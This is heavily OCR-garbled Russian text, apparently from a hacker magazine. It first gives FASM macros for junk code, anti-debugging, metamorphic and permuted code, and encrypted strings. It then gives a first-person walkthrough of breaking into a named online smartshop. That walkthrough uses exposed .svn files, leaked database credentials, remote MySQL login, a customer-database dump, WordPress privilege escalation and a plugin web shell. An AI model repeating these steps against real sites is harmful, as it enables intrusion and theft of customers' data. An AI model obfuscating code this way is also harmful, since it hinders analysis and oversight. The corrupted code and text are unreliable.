Рпвс = шоквс
шРт!1е (РРЁ6 = шоРв6) | (пРвс = кв5Р) | (квво = РввР)
тап6оп]:е
кквс = тпопцп поо 8
епё ш}:11е
)
8 принципе, мохно включить в варианть! и !зр ЁБр регистрь!' но мне за-
хотелось так. ]еперь макрос' генерирующий слунайньпй незанять:й регистр:
хАквР 08 /1 з9, 1 0
(ак видишь, код случаен, и не бросается в глаза необь:чно-
стью.1еперь не мешало бь; объединить написаннь|е макрось!
в один и построить код так, чтобь: его бь:ло легко изменять
или добавлять в него новь!е методь! генерации инструкций, но
для начала напишем еще один макрос для генерации гР[..]-
инструкций:
пасго 9еп-!р! {
гап6оп!:е
[уре = тпапцп поо 0х2г
6ь 0хв8
оь 0хс0 + суре
)
[1 ро вер и м:
8о3оь10а4000 | 1еа её|,
8о154с044000 | 1еа еёх,
8ё1о68054000 ! 1еа еБх,
8а05е7024000 ! 1еа еах,
86156Б0е4000 | 1еа еёх,
8ё15б70{4000 } 1еа еёх,
[ 0х40 0аб1 ]
[ 0х40044с]
[ 0х400568 ]
[0х4002е7]
[ 0х4 0 0е6б]
[ 0х400{67 ]
) 057
BemeP34 for Journal-plaza.net
(од перед морфингом
68а1 | {соп 5!0, Б[1
68с9 ! {пц] 9с0, 5с1
а8а4 | [соп эс0, 5е4
ё8её ! |зцБт 3с0, 5с5
ё866 ! {соп 5е0, 5с6
68с2 ! |а66 3с0, 3с2
0тлично! [еперь группируем, создаем макрос 9еп_{га5Б, принимающий
параметром количество генерируемь!х инструкций. }луншить этот макрос
мохно' сделав параметром не количество инструкций, а максимальнь:й
размер в 6айтах. Ёще луншим ходом будет параметр, являющийся пре-
делом слунайному количеству инструкций/размеру в байтах. Реализуем
первь:й, упрощеннь:й, но немного усцпающий другим вариант:
пасго 9еп-сгаБь ]еп9сп {
гереа[ 1еп9[ь
тап6оп{ае
уаг'ап[ = гапо5еес поа уАктАшт5
'' уаг]апс = 0
^ап 1 65
е1зе |{ уаг'ап! = 1
9еп-1рш
еп0 {{
епс гереас
)
1еперь для генерации 1 0 слунайнь:х инструкций указь!ваем в коде:
9еп-сга5и 10. следует расширить этот макрос' что не составит
труда. [о6авляй как мохно больше инструкций\вариантов: ветвле-
ния' статистику повторения инструкций; порядок следования [куна
БР[!-инструкций вперемешку с обь!чнь|м кодом - это подозрительно'
ть! не находишь? Али десяток инструкций [еа, идущих подряд? А бес-
контрольнь:й генератор вполне мохет творить такое). йдей в процессе
долхно возникать великое мнохество - пробуй все' что придет в
голову, не огранинивай себя. |еперь пара слов об использовании
макроса 9еп_!га5ь. [делаем простой расшифровщик, раз6авленнь:й
мусором:
9еп_[та3ь 15
поу еах, .сосе9сатс
о5воРЁс1 = ввАх
0еп_!та5ь 27
поу есх, ₠оёе5!:е
о3вопЁо2 = Рвсх
9еп_!та5ь 20
. а9а1п:
хог ьу['е[еах] , хоп кву
0еп сга5ь з7
|пс еах
0еп-[тазь 10
1оор .аоа|п
0еп_сга5ь 4з
) 058
х0п_кЁу' мехду прочим, тохе следует сделать слунайнь:м'
тапёоп1ае
хоп_кву = тпёпцп поо 0хгЁ'
[1ри большом количестве мусора и при достойном его качестве не так
просто будет разобраться' что хе в коде происходит, и как отделить его
от мусора. !луншить генератор мохно' добавив ра6оц с локальнь:ми\
гло6альнь:ми переменнь!ми, различнь!е переходь!, ветвления' про_
цедурь!' различнь!е варианть! инструкций, слохнь!е инструкции вида
[еа еах,[ есх*4+]00 ]..' Ёо - главное!.. ₠амое главное - не забь:вай,
что код долхен бь:ть схохим с генерируемь1м нормальнь!м компилято_
ром и одновременно хитрь!м' запланнь!м. 14'зуни настоц повторений
инструкций в распространеннь!х или входящих в состав операционной
системь! программ' а затем примени эц статистику в своем генераторе.
0хАсР01А Анти0тлАдкА
Ёи одна защита кода просто не представляется без антиотладоннь:х
трюков. !о6авим и мь!' но 6удем хитрее. 6делаем вставку слунайного
антиотладочного трюка в слунайном месте' то есть просто добавим к
макросу 9еп_!газ[' и трюк 6удет генерироваться наравне с инструк-
циями' ['1ростой пример - если отладчик обнарухен, вь!полняется
переход на случайнь!й адрес в пределах секции кода.
пасго ааь9 {
гапёоп|:е
уат'апе = гпоп!п поё ш
тап6оп| ае
аез!1па|'|оп = (гпслцп поо ((БштРу_Ротшт + 0х1000)
_ вштку_Ротшт) ) + вштпу Ро]шт
1| уа!]ап| = 0
!пуоке 1 5оеьц99егРте3епе
се5с еах,еах
]п2 $+аезс1па[]оп
е1эе 1[ уат|ап[ = ш
)
}акхе трюки следует разбавлять мусором. !обавляй больце антиот-
ладки - больше сюрпризов исследователю'
0хАсЁ или РАнд0мизАция АР!_вь|30в0в
[1омимо 6инарного мусора, код следует сделать вь!сокоуровневь!м.
8полне послухит для этого \{|п6оииз АР!. Функции моуг не нести
смь!сла, а моуг 6ьпть и неотьемлемой частью программь:' ['1ростой
пример вставки слунайного АР!-вь:зова:
пасго 9еп_сгаэ}:_ар| {
тап{оп]:е
капоопРагап1 = гпсп!п поа 0хгРгггггг
гап0оп|:е
вапсопРатап2 = гп6пшп пос 0хггггРггг
гапёоп!:е
уаг1ап[ = гп6пш поё 4
]| уат!ап! = 0
|пуо}се 1э8а6РеасРсг, папоопРатап1, капоопРагап2
е1зе ![ уаг_1апс - 1
1пуоке т5ваашг{[еР!'г, капсопРагап1.РапоопРагап2
е1эе |₠ уат]ап[' = 2
]пуо]<е 1 эБаё₠о6еРсг, папсопРагап1
е]'зе |{ уаг1ап[ = 3
|пуоке сес!а5евгтог
еп6 |[
]
|е стоит забь:вать, нто АР!-функции не сохраняют регистрь! Ёах, Бсх
хАкБР 08 /1 з9, 1 0
BemeP34 for Journal-plaza.net
ш1!:!
1(од после морфинга
и Ё6х' 6охраняй значения этих регистров, если в них содерхатся
и используются вахнь!е значения' 8ставим вь!зов этого макроса в
9еп_1газ[. [1одклюни фантазию; вь:зовь: функций не обязательно
долхнь: бь:ть одиночнь!ми' вь!сокоуровневь:й мусор долхен взаимо-
действовать с бинарнь:м - не подкопаешься. Ёеплохо буАет эмулиро-
вать некоторь!е функции, то есть реализовать их код у себя. 8ь:зов или
использование своего кода являются вариантами' пример:
пасто сес!а5свгтот {
гпа
уаг!ап[ = гпспцп по6 2
!| уаг!ап! = 0
поу еах, |[з:18}:]
поу 1 еах, [ еах+твв. 1,а5свггог]
е15е |[ уаг ,.ап[ = 1
1пуоке се[[а9сЁгтот
еп6 1{
)
0хА1 1А5' или м!тАм0Рфинг
йетаморфинг я реализовал как замену инструкций своими функцио-
нальнь!ми аналогами. ЁА5й позволяет переопределять инструкции
макросами, что очень удобно. 8озьмем' к примеру' инструкцию поу
ге932_1 ' ге932_2' (акие моуг 6ь:ть аналоги? [')ервое, ято приходит в
голову [вообще их мохно придумать великое мнохество]'
ршз}: ге932-2
рор ге9з2_1
р05ь ге9з2_2
поу ге9з2-1, [е5р]
аоо е5р,4
ршш5ь те932_2
хсь9 ге9з2-1,те932_2
рор ге932_1
['1римени фантазию, не следуй шаблонам, и за небольшой промехгок
времени мохно 6удет написать достаточное количество аналогов для
всех инструкций. Ёапишем макрос' переопределяющий инструкцию
гпоу. 0бязательно проверяем' что арументь! являются регистрами, так
как у нас есть замена только этого варианта:
пасго поу ат9|,ат92 {
!' (ат91 еч[уре еах) & (аг92 еч!уре еах)
тпё
уат1ап[ = тпёпцп по6 4
1{ уат|ап! = 0
ршэ!т аг92
рор ат91
е15е || уат1апс' = ]_
0бфусцированнь!й поу
р!5ь ат92
поу аг91, [е5р]
а66 еэр,4
е1зе !{ уаг!апс = 2
рц5ь ат92
хсь9 ат91,аг92
рор аг92
. е]зе 1| уат|ап! = 3
поу аг91,аг92
еп6 {{
е1 5е
пот аг91, ат92
епо {'
)
['1роверяем:
поу еах,есх
поу есх,есх
пот е0х,евр
Атог:
51 ! ршз| есх
91' ! хсь9 есх, еах
59 | рор есх
89е5 ! поу еьр, е6р
5з ! ршз}: ебх
59 ! рор есх
3амечательно, не правда ли1 добавив как мохно больше инструкций
и вариантов замень!, мохно добиться замечательнь!х результатов.
0хАв1Ё' или пвРмутАция
3десь все тохе предельно просто и дает мощнь:й результат' Ёам нухно
изменить располохение некоторь!х блоков кода без изменения функ_
циональности и без поврехдения кода. .0,ля нанала за блоки возьмем
процедурь!, далее эти блоки следует максимально уменьшить. !ад
спосо6ом слунайного изменения блоков кода я недолго думал, возмох-
но, есть более изящное решение - подумай. 6щь такова: кахдую про-
цедуру обораниваем в макрос, создаем для нее перемецную - фла1
сигнализирующий об использовании, дабь: не вставлять процедурь!
несколько раз. Ёапример [пермдируем три пРоцедурь!, скелет|' код
главной струкцрь! теперича вь!глядит так:
{ргос-1 = 0
[ргос-2 = 0
еп[г\. $
; код главной процедурь|
ш||1е ({1ао_1 = 0) 1 (|1а9-2 = 01
гап6оп{:е
Беццепсе = тпапцп пос 2
|[ ве9шепсе = 0
|[ {1а9_1 = 0
ргос_1
хАкЁР 08 /1з9/ 10
) 059
BemeP34 for Journal-plaza.net
[!осле патча контрольная сумма отличалась всего
лишь на один 6айт, и теперь переход вь|полнен не
туда' куда надо
г]ап - = 1
еп4 ][
е1эе {{ зечшепсе = 1
\г г1аа э = г)
ртос_2
11а9_2 - 1
еп6 {|
епа '{
епа пь11е
пасго ргос-1 {
ртос АпуРтосеоцге1
гес
епёр
)
пасго ргос-2 {
ртос АпуРгосеа0те2
те|
__;п
)
[1роверив этот код, убехдаемся' что процедурь! вь]ставляются как
надо' слунайно, код не портится.
0х0 ЁгАсв0' ил и 0 БФускА]|[[: [}{ }!Ай ]4ч !ск0 г
вь!числ[ниЁ АдР!с0в
6дин из способов противодействия дизассемблерам и о6ману анали_
заторов - динамическое вь!числение адресов переходов или адресов
переменнь!х. [1ример, как мохно вь!числять адрес:
ршэ| 1аБе1 _ уа10е
ааё [е9р],уа1це
1пр [езр]
1абе1:
аёё еэр,4; избавляемся от нещ/жного
6ледует сделать слунайньпми алгоритмь! вь!числения, варианть! реа_
лизации алгоритма, и, естественно, значения для модификации. Р:ри-
мерами этого станл представленнь|е нихе макрось! о-_.1пр и о[аБе[:
пасго о_]пр 6еэ!1па!|оп {
гапёоп1:е
уаг1апс' = гпопцп пос 2
!! уаг{ап| = 0
гап6оп|ае
уа1це = гпёпцп по6 ]мАсв вА5в
) о60
рц9п ае$с!па!!оп - уа1це
аё6 [еэр],уа1це
]пр [е5р]
е1зе || уаг'апЁ = 1
тап6оп{зе
уа]це = гпспцп поо (0хгггггггг
_ 0х1000)
рц5ь ёез!|пас|оп + уа1це
эшб [езр].та1ше
]пр [езр]
еп6 |{
1мАсР:вА5в
)
пасто о_1аБе1 папе {
1абе1 папе
аа6 е5р,4
)
71тог работь; ма кросов:
68001127ь6 ! рц3ь ошога 0хь6271100
812с249ъ1ое7ь5 ! 5ць ашотё [е5р], 0хб5е7109Б
1{2424 ! ]пр ёшотё пеаг [езр]
31с0 ] хог еах, еах
83с404 ! а66 евр, 0х4
31с0 | хог еах, еах
Без трассировки и не узнаешь' куда ведет переход' следовательно,
статический анализ обламь;вается. здесь такхе стоит учить!вать за-
нятые\свободнь!е регистрь! в генераторе мусора, так как постоянное
использование Ёзр ставит клеймо на спосо6е, да и само по себе на-
кладно. Ёще одной неплохой уловкой является вставка переходов на
даннь|е' но перёходь! эти никогда не вь!полняются [или вьгполняются
только при наличии отладника). 3то с6ивает с толку анализаторь!, и
они пь!таются дизассемблировать даннь!е. [1 ример макроса:
пасто {аске_со6е-ге{ саса_асаг,]пр_а6сг {
хог еах,еах
1пс еах
]па ]пр-а66г
са11 оа!а-аааг
; !газ}:
)
8 итоге адрес 6а{а_а06г 6удет анализироваться как код.
0хА55 _ зАшиФР0вкА к0дА\дАннь!х
3амечательнь:ми функциями макроязь!ка ЁА5й, отлинающими его
от других макроассем6леров, являются [оа6 и з|оге. йспользовать их
мо)кно для шифрования кода или даннь!х. [1ростой пример, для шиф-
рования используется хог:
пасго хот-оа!а 5сатс,1еп9с}т,&еу {
гереас 1еп9сь
1оас' х {гоп 5!аг!+ъ_1
х=ххог}<еу
5соге х ас зсат[+ъ_1
епа гереа[
)
0чень полезнь:й макрос' я его использовал для зашифровки строко-
вь!х даннь!х. [1ример использования:
гапооп] 2е
хов кву = гпёпш поа 0хгг
хот_са[а 5[.!п95, э!т!п9з-з!:е, хок-кву
э[г|п9э:
хАкЁР 08 /1 з9, 1 0
BemeP34 for Journal-plaza.net
8згляд на многоо6ещающее 6удущее через окно
га6аге
апу-5[г|п9 6ь'ма['е.гееа.к!11.Ререас'
5[ г|п95_9 ]:е = $ зп-г{п9з
0хАвА51А, или к0нтР0ль цЁл0стн0сти к0дА
8ь:числив на стадии компиляции контрольнь!е суммь| участков кода,
мохно защититься от модификации' пересчить]вая и проверяя при вь!-
полнении эти суммь!. |акхе подо6нь;м образом мохно детектировать
трассировку посредством вставки в код прерь!вания !п13, как делают
многие отладчики. йакрос' вь:нисляющий сгс32 сумму блока кода:
сРсз2_з1-}м = 0
пасго са1с_сгс32 5сагс, 5!2е {
1оса1 б, с
с = 0х!{{||!||
гереа! 5]7е
1оаа ь ьусе {гоп 5!аг[+?_1
с=схогБ
" = (" 'п' 1) хог (0хеёб88320 * (с апо 1))
епо тереа[
скс32 5т-'м = с хог 0х{{Ё{{{[|
)
|,ону заметить' что операции вида |{ (ог;9'па1_па5ь ! = сцггеп[_
|аз!т) Ёггог ( ) абсолютно бесполезнь:! |,отя используются повсе-
местно, дахе в крль1х протекторах. А вот нечто подобное:
поу еах,аооге55 + ог|о1па1_ьа9ь
эшБ еах, сштгеп!_}таз}т
са]1 еах
6овсем другое дело. ,{вух зайцев сразу: обфускация - динамическое вь!-
числение адреса перехода, и контроль целостности кода, то есть' если код
6ь:л каким-либо образом изменен, 6уАет вьтполнен переход кот знает куда.
0хАссг0Ё' или 0БмАн АнАли3Ат0Р0в
Анализаторь: исполняемь!х файлов вроде РЁ!0 используют сигнатур-
нь;й поиск' в базе находятся цепочки байт, которь;е встречаются в
популярнь]х протекторах\упаковщиках.,[,ля того' нто6ь: с6ить с толку
взломщиков своей программь!, я создал макрос' до6авляющий в Ёп{гу
Ро!п1 программь: слунайную сигнацру. 8оспользовавшись вь!шеупо-
мянль!м анализатором или его аналогом и получив лохнь:й результат'
взломщик п0пь!тается распаковать программу либо автоматическим
распаковщиком, либо врунную' следуя описанию. /' конечно хе' ниче-
го не получится, кроме тяхелого сцпора.
пасго 'аске_5!9п {
гап6оп| ае
уаг]апс = гпёпшп поё ]х]
1' уас|ап[ = 0
;РЁ Рго[ес[ 0.9 -> сиг]э[орь саь1ег
рц3ь еах
рц5ь есх
рц5ь еьр
ршэ}т её!
60 0х64, 0х67, 0хА1, 0х30, 0х00
; гА5м генерирует д]1инный формат инструкции
х^к:Р 08 /1з9/ 10
зультат работь! немного расширенного макроса
;поу еах, 1{з:0х30]
се5с еах,еах
, 5 @г+1
са11 .еп6. з!9п
рор еах
аао еах,?
оь 0хс6
пор
гес
@@:
поэтощ/ записал таким образом
65 0хЁ9,0х00, 0х00, 0х00,0х00
. епё. з |9п :
е1зе || уаг|ап| = 1
;сп-сор5 тт > !|пк паса 5ес!г|[у
р0Бь еьх
ршзБаё
поу еьр, 0х90909090
1еа еах, [еьр-0х70]
]еа ебх, [еьр-0х70]
са11 $+5
1еа еах, [есх]
оь 0хв9,0х00, 0х00, 0х00, 0х00
е1зе |Ё уаг{ап[ = ш
)
0хА0105. 3АключЁниЁ
|рамотное использование и комбинирование описаннь!х мною техник
позволяет сделать серьезную защиту. 3то и онень удобно: написав,
отладив программу, с минимальнь!ми правками исходного кода пре-
вращаем ее в неприсцпнь:й бастион' !осле того, как я написал свой
набор макросов, протестировал и применил их к своей программе'
мне пришла в голову еще одна замечательная идея.,!,аннь:й метод
я еще и автоматизировал следующим способом: поместил на сервер
исходнь:й код программь! и компилятор РА5й, при запросе пользо-
вателем {г!а[-версии программь! она автоматически компилируется;
таким о6разом получается' что кахдому пользователю вь!дается
уникальная версия программь;. !ниверсальнь[е взломщики [патнерь:,
сгас[<'и и т.п.] просто бессильнь: - придется ломать кахдую копию
отдельно' А это ведь непросто, учить!вая, что весь код изменен, а не
как у навеснь|х протекторов' только <сверху>. йне, как разработнику'
остается только чаще обновлять исходники и совершенно не волно-
ваться о том' что мою программу моцт взломать. [ак нто, ореп уошг
еуе5' ореп уошг п|п6! 3
) 061
BemeP34 for Journal-plaza.net
куРпть вР
]
!
8злом г0лландск0г0 онлайн_смартш0па
<<[ону в Амстерпам!> _ с этой мь|шью я 3алез в [угл в п0исках 0чередн0й жертвь:.
[рели первь|х ссь!л0к п0 3апр0су <9гошз[ор)> 0ка3ался мага3ин аааг!шз.пе!
с характернь|ми 3шень!ми листиками и3вестн0г0 растения на главной шранице.
}!емного п0читав страницу <4!ош! А2аг!шу, я у3нал, чт0 даннь:й сайт - 0дин
и3 первь!х 0нлаин_мага3ин0в п0 пр0даже псих0активнь!х веществ в интернете
(ра6отает с 1999 гола) с 0гр0мн0й 6азой п0щпателей и товаров. [!оэт0му ть!
нв удивишься т0му чт0 на 0дн0м п0верхн0стн0м пр0см0тре страниц я не стал
0станавливаться :).
сАжА[м сЁмвнА
[4'так, первь:м делом я начал изучать струкцру шопа, что, замечу'
6ьпло делом не из приятнь!х, так как использовался апачевский по0_
гешг!1е, и все ссь!лки имели вид вроде <ь!1р://а2аг!шз.пе1/згпаг1зБор/
рзусБе6е[!сз/". [1оверхностньпй осмотр мне ничего не дал' цгл не
показал никаких интереснь!х поддоменов и файлов, а из па6лик-
двихков бь:ли обнарухеньг последний \А/ог6Ргезэ [Б{!о://а:аг!шз.пе{/
б[о9/!, пропатненньгй рБр88 версии 2'0.22 {Б{|о://а:аг]цз'пе|/{огцп/
6осз/[|А\6Ё|00.б{п|] и не онень-то уязвимьсй Р!ш!& версии 0.5.5
{Бттр://р!тм! !<.а:а г! шз. пет}.
Ёдинственньгм досцпнь!м вариантом на тот момент оказался Р!ш|[ с
его {55 в форме логина [ссь:лку на а6м!зогу ищи в сносках). 3амора-
чиваться с [55 мне не очень хотелось, так как это долго и ненадехно,
так что пришлось размь!шлять дальше над способом проникновения в
растаманский рай.
п0ливАгм и уд0БРяЁм
[1рошло несколько дней. 6овершенно слунайно мне на глаза попался
старьгй пост с !,абра об уязвимости мнохества крупнь!х поРталов'
связанной с тем, что их .5уп-исходни ки хранились в открь!том досцпе
прямо на сервеРе. 8кратце поясню срь 6ага.
8о-первь;х, 5!\ _ это система контроля версий, которая является
продвинль!м средством для организации совместной работь: десятков
разработни ков.
> о62
8о-вторь:х, 5!\ совершенно открь!то хранит в кахдой директории
проекта свои метафайльп, которь!е слохень! в директорию <..5уп>>. 8
данной директории в файле <еп!г!е5> находится список всех файлов и
директорий, которь!е располохень! в той хе самой папке' что и <<.5уп>>.
3десь хе находится и информация о располохении репозитория, раз-
мере файлов, дате их модификации и именах юзеров, работающих над
проектом.
[уммируя вь!шеназваннь!е факть:, мохно подвести нехитрь;й итог:
если проект разрабать:вался с помощью 5!\' то, зайдя по адресу
вроде з!!е.соп/.зуп/еп{г!ез, ть! смохещь увидеть файловую струкцру
корня сайта со всей перенисленной дополнительной информацией.
8 моем слунае таким адресом оказался а:аг!цз.пе1/.эуп/еп1г!ез, где
содерхалась инфа вида
2008_11_18т10 з 25 з 57 . 0000007
с58 192 0ьа2сасз 4гзе6841асо 61а958с
2оо7 -1|-\6т!]: 06 : 53. 8605152
935
а1ех
сасе9оту. рьр
|!1е
2008-11_18т10 :25 : 57. 0000002
7се2е2 3ас9Бс5 60еёе2е7 9 01 3 {ь6з 0ёь
хАквр 08 /1з9, 10
BemeP34 for Journal-plaza.net
!---:------' .=-
| ф м;йн'*..!' ")ф
[ *..' ;;:;;::; *Б,-; #'ф' фФ
щ :.::у;":.к:]. }ж } *₠9$Р**Р "'' '"".'$
)(арактерная главная страница смартшопа
20о7 - о1'- о 4т16 : 03 : 07 . 41 1 1 257
1з8
а1ех
{ 'па . рьр
{'1е
20о9 -о5-о7т12 : 56 : 14. 000000а
Бееа2[7 2866724 0с147 9 563 с5 08а5 14 4
2 009_05_01т09 : 08 : 40 .7 829 67 7
1307
а1ех
гесепс . рьр
{|1е
с0БиРАгм уР0жАй
!,4так, скачав к себе на винт исходники всех РнР-файлов
проекта из категории <.5уп/1ех!-ьа5е/>, я начал кропотли-
во парсить их на предмет уязвимостей.
['1осле онень долгих и нуднь!х раскопок я понял, что
а7а!_щ5.!е! - действительно очень старь!й и крупнь:й
проект, так как в исходниках не 6ь!ло дахе намека на
6анальнь:е инклудь!, скуль-инъекции и ихе с ними. искать
что-то извращенное и глубоко спрятанное бь:ло лень'
поэтому я стал думать' как 6ь!ть.
(ак оказалось' решение 6ь:ло крайье пр0с!ь!м и лехало
практически на поверхности :]. Ёа этот раз мне удалось
продвингься дальше во взломе с помощью чтения
конфига форума рБр88 по адресу а:аг!шз.пе1/{огцгп/'зуп/
|ех{'ба зе/согп гп о п. оБ о. зуп - 6азе:
< ?рпр
$ёбпо ='пуБ914';
$6Б}:оз[ = 'оа!аьа5е. а:аг|шэ. пе! ' ;
$аьпапе ='а2а{огцп';
$6}цвег ='шеь_а2аг{!5' ;
$ёьраз3шо = 'аааг1цз(аЁ]734' ;
$саь1е-эте'|х ='р}:рбб_' ;
6е{]пе (' РнРвв_]ш5тА1-!во', [тце) ;
?>
[:1з конфига видно, что мускул-сервер шопа располагается
по адресу 6а{аьа5е.а2аг!05.пе| и вполне мохет 6ь:ть виден
из ве6а.
Ёа 80 ![1Р-порц сервера висела следующая надпись:
[ап еггог осс!тгео шь|1е ргосе53!п9 сь'5
с!гесс ]уе ]
уо! аоп'с ьауе ретп|ээ1оп [о ассе53 вье
геч!е5[ео с'гесеогу.
хАк₠Р 08 /|з9, 10
с+фо'пф,мфь;н*ф
} }!<тпо9е Р!лт9отв *'*
Ф !{!ь :] "в'
1,ь1$ п Рь.ь
(]Р{6 п.!ьп.
Аф!л. ! ₠Ф'! о.*!
ш
> !'!п[з
.р!ш![.ог9/
Б[ов/20 1 0/04/р|хм][- 0-
6_ зес ш г! (у- а 6у! зо гу/
- Р|ш!|< .= 0'5.5
.|о9!п !осш {-55
!фта|э!лсц7!фзэ7
!п1озесдф/!330
_.5уп 6ага
. Б1| рз://{о го гп.
ап|!с1-:а1'гш/|Бгеа6-
пау51383- ] -][|'Ф|
- йу50| п5т/онс
\4апа9ег 2.3
.зп!рреггц/у:еш/5/
па91с !пс[ш6е-зБе[[/
- йа9|с !пс[ш6е 5Бе||
з.з.3
) !п[о
3а щититься от
подключения извне
к йу50!- онень
просто.,['ля этого
зайди в таблицу
пу5ц[.05еп
найди там своего
п ол ьзо вател я
и проапдейть поле
Ёоз! (если текущее
его значение равно
.%'', то замени его
на "[оса[Боз1>}.
г !п[о
8се описанное
в статье является
плодом 6ольного
вообрахения автора
[1юбь:е совпадения
с существующими
сайтами случайнь!.
[!и редакция' ни
автор не несут
ответственности за
любой возмохнь!й
вред' прининеннь;й
материалами этой
статьи.
Редактирование код/плагинов в блоге
Азариуса
тьеге 15 е1сьег по !паех сос1шеп! ог сье
6!гес!огу 15 геаа_рго[ессес.
[ап еттог оссцгге6 шь'1е ргосе53|п9 [!т|э
о|гес[ 1уе ]
Р[:рпуа6п!п'ом здесь дахе и не пахло, так что остава-
лось попробовать удаленн0 подконнектиться к 3306 порц
мускула на данном сервере.
зАРяжАЁм Б0нг
3алив на свой [почти свой:) хострилиц йу50| Р51/
0![ [т4апа9ег, я попробовал залогиниться на серваке Бд
Азариуса с помощью даннь!х из конфига рБр88. (ак ни
странно, у меня это получилось [пользуясь случаем, спешу
напомнить - разрешай коннект к своему мускул-серверу
только с локалхоста |].
,[,алее нухно бь:ло немного осмотреться в базе' чем я не_
медленно и занялся.
[4так, под текущим юзером 6ьтли досцпнь; несколько Б!:
!п{огпа[{оп-зс}депа, д|||1]асе, а'{, а2аьа5е
ааа|огшп, сп5_5уБсеп, спз|азе, епч0е[е,
раупепс5, эу9]о9, Бу31о9а2а, !е9с, шогорге55
8 6азе раупеп1з бь:ла только одна таблинка - "[о9"' где
хранились мало чем полезнь!е логи, так что далее я полез
прямиком в главную Б! _ а:а6азе.
Ёемного цифр: на шопе зарегистрировано 239545 рас-
таманов и психонавтов' которь!е сделали 291 187 ордеров.
База юзеров имела следующие поля:
1-13ег1о, т-'5ег5са[ц5т о, г|г5сшапе ,
!а5!шапе, впа11, впа!1уег|{|е0, сопрапу,
сопрапуое5сг'р[ !оп, кукш!пьег,
вт[,'шцпьег, тпуо|сеА11оше6, Репатк,
Раэ5шого, гог0п1!, гогшпА6л]п,
|-а5|т-о9!п, т-ап91п, сцггепсуто,
-в0уег_Асоге53, _вцуег_но5!, _вцует-А9еп[,
-к]ап[сосе, _тц53епуое95е1, _кот[|п9,
-Ра53шогошеш, _впа'15епа, _зезэ|оп_|ё,
_пеьз][е, по6'г1ес, шеш51е!сег, ш'скпапе
6лив данную 6азу и берехно сохранив ее на винт для
дальнейшей работь:' я стал размь!шлять над тем, как
залить шелл в ухе полюбившийся мне онлайн-притон
интереснь!х личностей :].
куРим
[1ервь;м делом я проверил привилегии на ра6оц с файла_
ми у текущего юзера мускул:
) 063
BemeP34 for Journal-plaza.net
. .)о'шф]@мм,ф
пока3ать ..е 6.зь!
--! а,.ьа'₠ ]--
6е!..!ш','.фр (18)
с.^|(оп5 (з26з10)
с.Ё' (2ои8о}
9офФео!ка!по9 (ёэз/'
Ёхраг|епс.с.|с9ог!с' (16)
ма!! (₠69)
о.ае'|(еп5 (791917)
ога..ма!!5(.!о9 (588196)
ог6..9 (2911а9)
Ро!!уо|.5 (61)
Ргоацф6ю0рАцаолв..' (1)
Ргоа0фсго!оА!4|о.!оо (2984)
6д|(а2аьа5е) т.6лица:(ц5е'') вфго Фок|(2з9545)
ц..г!о ц'а&Ф'[ог!ф.п.[а'ш.п.
₠а*ое! с11ооо06 2 !впп.Ё ]опоеп.е!
₠а*ос!с1100о102 ьпп.*з]оп9.п..!
₠6ьо.!с110о0112 ц.пп.ф]оп9₠лев!
₠а[о.! с110оо0в 2
₠а[о.! с11000о9 2
Р.оацф6.о0рА!аопм.|]!о9(189)ва;[ое!с110001?2 !оп!а |е!9а
Р.о{цф95о16с.фе (и9)
оце*!оп' (1о6673)
[::;жа{;::} Ба'!ое!с1100о1з2 топп!е Р* 'п;а&Фх{а!|'п!
5мз!о9 (зо998)
5еа.сьс.сь. (6'7з)
1аблица с пользователями
5в!вст 1оа6_г|1е ( ' /есс/ра35ша' )
3десь все оказалось не так просто, как с 5!\ и коннектом к 6азе
- файловь:х привилегий не 6ь;ло вовсе. 6 заливкой шелла могли
появиться проблемь:. если бь: админь! шопа создали разнь!х юзе
ров для разнь!х Б!' но, как ть! ухе понял' у меня 6ь:л доступ ко всем
6азам сразу' так что я потихоньку стал колдовать над своим любимь:м
\{ог0 Ргезз :].
71та к, зарега вшись по адресу ь![р ://шшш.а2а г!ш5' пе{/ь[о9, т!0 [с ! | п'
рь0) !. [|о1 !р9!('р! и получив на свое мь!ло лароль от а\[ауьга' я го-
лез в Б! под названием шог6ргезз'
|аверняка ть! знаешь' что привилегии пользователей блога хранятся
в та6личке и,'р |]5егпе1а в ключе под названием иир сараб![;г ез. |1о
дефолту кахдьтй юзер имеет привилегии подписчика, то есть, факти_
чески' не имее_ никаких гривилегий:
а:1: {з:10: "Бць5сг|ьег";б:1; }
Ёедолго думая' я сделал своего тестового юзера администрат0ром'
заменив данное значение на следующее:
а: 1 : {з : 1з : "аап1п'5!га[ог'' ;Б: 1; }
6тав админом, я зашел в админку 6лога по адресу [:1!о://а:аг шз.пе|/
5|оцАдр.а0щщ прямиком в раздел редактирования плагинов. й на
этот раз мне снова повезло - плагинь! бь:ли досцпнь: для редакти
рования, так что мне оставалось только записать свой шелл в плагин
"Ёе[[о 6о[[у> и активировать файл.
1еперь мой шелл располагался по адресу п{1р]//а7аг!!5.пе1/
б[о9/?а:аг!оз и с удовольствием открь!вал мне дальнейшие возмох_
ности для изучения шопа :].
кушАгм
[еперь меня заинтересовало следующее:
1. Асходники магазина;
2. Админка магазина;
3. 6айть:-соседи.
[ первь:м пунктом я успешно справился' слив Р!Р исходники из
ди ре кто ри и /уа г/шииш/[тт п |/а таг1оз | ро6[:с |' н о, ка к н и стра н н о' а дм ин ки
там не бь:ло'
!олго лазая по файлам и директориям шопа' я так и не нашел ад-
минку, так что пришлось довольствоваться полнь!м доступом к Б! и
исходниками Азариуса-
.!алее я вь!полнил команду <[оса{е ь11р6.соп[> и зашел в директорию /
е(с/арасБе2/з[аге6соп1!9/з!{еэ-епаб|е6/' где хранились конфиги всех
сайтов текущего сервера.
> о64
йой ше а а?аг!ш5.пе|
8ь:вести полнь:й список сайтов помогла команда "са| ./*!9гер
5егуег\апе>:
а! ' ]1 |асе. ьегба16|згг|Бц[ |оп. соп
ь1о9. а2аг|шБ . пе|
соп5с1ош5. п1
сопзс1оцв6геапз. п1
6а|а1эазе. а:аг|шз. пе8
0горэ|!рр!п9. соп5с]оц5иьо1ева1е. соп
п ! 001еша т е. еп- }:ео9еп ! сз . соп
р|пруошгб|сус1е. соп
р'ш|к. а2аг1ц5 . пе[
ге61г. тароэ!тор. соп
3есцге. а2аг1ц5. пе[
5[ас5. а7аг{ш5. пес
иеьпап. а2аг|ц5 . пе[
шеБпап. тароз|ор. соп
м. а:аг{шз . а|
ыш. а:аг|шз.5е
м. а:аг|цэ . ез
м. а:аг!цз . {г
юш. а:аг|цз . пе[
уш.а:аг|цз.п1
ге6{г.а:аг|шв.п1
м. а2аг'03 . р[
соп5с|оц5шьо1е5а1е. соп
п1'ш. сга2у | _5ь|г[Б. соп
